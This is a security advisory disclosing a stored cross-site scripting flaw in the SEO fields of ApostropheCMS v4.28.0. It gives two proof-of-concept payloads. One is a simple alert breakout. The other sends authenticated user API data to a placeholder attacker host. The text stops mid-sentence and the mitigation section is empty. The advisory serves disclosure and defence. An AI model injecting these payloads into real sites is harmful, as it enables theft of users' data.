Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Date: 2026-04
Affected: npm/apostrophe
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-35569
CWE: CWE-116
CWE-79
CVSS: 8.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

## Summary A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS. Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality. ## Affected Version ApostropheCMS (tested on version: v4.28.0) ## Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as: - `<title>` - `<meta>` attributes - structured data (JSON-LD) This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users. ## PoC 1 **The following payload demonstrates breaking out of HTML context:** ```javascript "></title><script>alert(1)</script> ``` This confirms: - Improper output encoding - Ability to escape `<title> / <meta>` contexts - Arbitrary script execution ## PoC 2 **This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.** ```javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> ``` ## Video Proof of Concept Watch the following YouTube video for a full


Mitigations:

Architectural layers (MAESTRO):